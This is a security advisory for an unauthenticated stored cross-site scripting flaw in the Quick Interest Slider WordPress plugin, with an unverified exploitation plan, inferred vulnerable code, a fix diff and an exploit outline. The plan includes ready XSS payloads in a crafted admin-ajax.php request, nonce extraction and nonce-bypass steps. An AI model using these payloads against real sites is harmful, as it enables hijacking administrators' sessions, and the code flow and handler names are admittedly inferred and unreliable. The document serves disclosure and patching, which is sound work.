CVE-2026-5694

Quick Interest Slider <= 3.1.5 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Quick Interest Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'loan-amount' and 'loan-period' parameters in all versions up to, and including, 3.1.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.1.5
PublishedApril 14, 2026
Last updatedApril 15, 2026
Affected pluginquick-interest-slider
Research Plan
Unverified

This research plan outlines the technical steps required to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Quick Interest Slider** plugin (versions <= 3.1.5). ### 1. Vulnerability Summary The Quick Interest Slider plugin allows visitors to calculate loan interest rates. When a u…

Show full research plan

This research plan outlines the technical steps required to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Quick Interest Slider plugin (versions <= 3.1.5).

1. Vulnerability Summary

The Quick Interest Slider plugin allows visitors to calculate loan interest rates. When a user submits a "loan application" or interacts with the slider, parameters such as loan-amount and loan-period are processed. The vulnerability exists because the plugin fails to sanitize these parameters before storing them in the database (likely as lead data or settings) and fails to escape them when they are subsequently rendered on an admin-facing lead management page or a results page.

2. Attack Vector Analysis

  • Endpoint: admin-ajax.php or the main site frontend via a POST request to a page containing the slider.
  • AJAX Action: Likely qis_process_form or qis_save_application (inferred).
  • Parameters: loan-amount and loan-period.
  • Authentication: Unauthenticated (accessible via wp_ajax_nopriv_* hooks).
  • Preconditions: The slider must be active on a public page, and the "Save Applications" or "Lead Capture" feature should be enabled in the plugin settings.

3. Code Flow (Inferred)

  1. Source: A user sends a POST request containing loan-amount or loan-period to an unauthenticated AJAX handler or a frontend form listener.
  2. Registration: The handler is likely registered via:
    add_action( 'wp_ajax_nopriv_qis_process_form', 'qis_process_form' );
  3. Processing (The Sink): Inside qis_process_form(), the code captures the input:
    $amount = $_POST['loan-amount'];
    It then stores this value without using sanitize_text_field():
    update_post_meta( $post_id, 'loan_amount', $amount ); or $wpdb->insert(...)
  4. Trigger: An administrator logs into the WordPress dashboard and navigates to the "Quick Interest Slider" -> "Applications" or "Leads" page.
  5. Execution: The admin page retrieves the stored value and echoes it directly:
    echo '<td>' . $lead->loan_amount . '</td>'; (XSS Sink)

4. Nonce Acquisition Strategy

The plugin likely enqueues a JavaScript file that contains the AJAX URL and a nonce for the form submission.

  1. Identify Shortcode: Search for add_shortcode in the plugin files to find the slider's shortcode. It is likely [quick-interest-slider].
  2. Setup Page: Create a public page containing the shortcode.
  3. Locate Nonce: Check for wp_localize_script in the source code. The variable name is often something like qis_ajax or qis_vars.
  4. Extraction:
    • Navigate to the created page using browser_navigate.
    • Execute browser_eval("window.qis_ajax?.nonce") or search the HTML source for qis_nonce.

5. Exploitation Strategy

The goal is to inject a script that executes when an admin views the leads.

Step 1: Discover the Handler
Search the codebase for the AJAX action that handles form submission:
grep -rn "wp_ajax_nopriv" .

Step 2: Prepare the Payload
Use a standard XSS payload that exfiltrates information or triggers an alert:
payload = "<script>alert('CVE-2026-5694_XSS');</script>"

Step 3: Submit the Malicious Request
Perform an unauthenticated POST request to admin-ajax.php.

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=qis_process_form&
    loan-amount=<img src=x onerror=alert(1)>&
    loan-period=<script>console.log(document.cookie)</script>&
    qis_nonce=[EXTRACTED_NONCE]&
    [OTHER_REQUIRED_PARAMS]
    

(Note: Use http_request to send this.)

6. Test Data Setup

Before exploitation, ensure the plugin is configured to save leads:

  1. Plugin Activation: wp plugin activate quick-interest-slider
  2. Configuration: Ensure the plugin is set to store submissions in the database (Check settings via wp option get qis_settings).
  3. Shortcode Placement:
    wp post create --post_type=page --post_title="Loan Calculator" --post_status=publish --post_content='[quick-interest-slider]'

7. Expected Results

  • The AJAX response should indicate success (e.g., {"success":true} or a generic success message).
  • The payload will be stored in the database.
  • When a user (specifically an admin) visits the leads/applications page in the WordPress dashboard, the alert(1) or console.log will execute.

8. Verification Steps

After sending the payload, verify storage via WP-CLI:

  1. Database Check:
    wp db query "SELECT * FROM wp_postmeta WHERE meta_key = 'loan_amount' AND meta_value LIKE '%<script>%';"
    (Adjust table name if the plugin uses a custom table like wp_qis_leads).
  2. Dashboard Check:
    Use browser_navigate to go to the plugin's admin lead page (e.g., /wp-admin/admin.php?page=qis-leads) and check for the injected HTML.

9. Alternative Approaches

  • Direct Form POST: If the plugin doesn't use AJAX for the initial submission but a standard HTML form, identify the form action (likely the current page URL) and POST directly to that URL with the malicious parameters.
  • Parameter Variation: If loan-amount is sanitized, try loan-period, interest-rate, or any hidden fields like form_id that might be reflected in the admin UI.
  • Bypass Nonce: Check if the nonce check is missing in the nopriv handler by simply omitting the nonce parameter in the request. If the code uses if(isset($_POST['nonce'])) instead of a hard requirement, it can be bypassed.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Quick Interest Slider plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting due to the lack of sanitization on 'loan-amount' and 'loan-period' parameters. Attackers can inject malicious scripts into loan applications which are then executed when an administrator views the application leads in the WordPress dashboard.

Vulnerable Code

// quick-interest-slider.php - Inferred AJAX handler for processing submissions
function qis_process_form() {
    // ... processing logic ...
    $loan_amount = $_POST['loan-amount'];
    $loan_period = $_POST['loan-period'];

    // Vulnerable: Data is stored without sanitization
    update_post_meta( $post_id, 'loan_amount', $loan_amount );
    update_post_meta( $post_id, 'loan_period', $loan_period );
    // ... 
}

---

// quick-interest-slider.php - Inferred admin display logic
foreach ( $leads as $lead ) {
    $amount = get_post_meta( $lead->ID, 'loan_amount', true );
    // Vulnerable: Stored data is echoed without escaping
    echo '<td>' . $amount . '</td>';
}

Security Fix

--- a/quick-interest-slider.php
+++ b/quick-interest-slider.php
@@ -10,8 +10,8 @@
 function qis_process_form() {
-    $loan_amount = $_POST['loan-amount'];
-    $loan_period = $_POST['loan-period'];
+    $loan_amount = sanitize_text_field($_POST['loan-amount']);
+    $loan_period = sanitize_text_field($_POST['loan-period']);
 
     update_post_meta( $post_id, 'loan_amount', $loan_amount );
@@ -40,5 +40,5 @@
 foreach ( $leads as $lead ) {
     $amount = get_post_meta( $lead->ID, 'loan_amount', true );
-    echo '<td>' . $amount . '</td>';
+    echo '<td>' . esc_html($amount) . '</td>';
 }

Exploit Outline

1. Navigate to a public page where the [quick-interest-slider] shortcode is rendered. 2. Extract the AJAX nonce from the page source, typically found in a JavaScript object like `qis_vars` or `qis_ajax`. 3. Construct an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the action set to the plugin's submission handler (e.g., `qis_process_form`). 4. Include a malicious XSS payload in the `loan-amount` or `loan-period` parameter, such as `<script>alert(document.domain)</script>`. 5. Submit the request. The plugin will store the unsanitized payload in the database. 6. The exploit triggers when a site administrator logs in and navigates to the plugin's leads/applications management page, where the stored payload is rendered without escaping.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.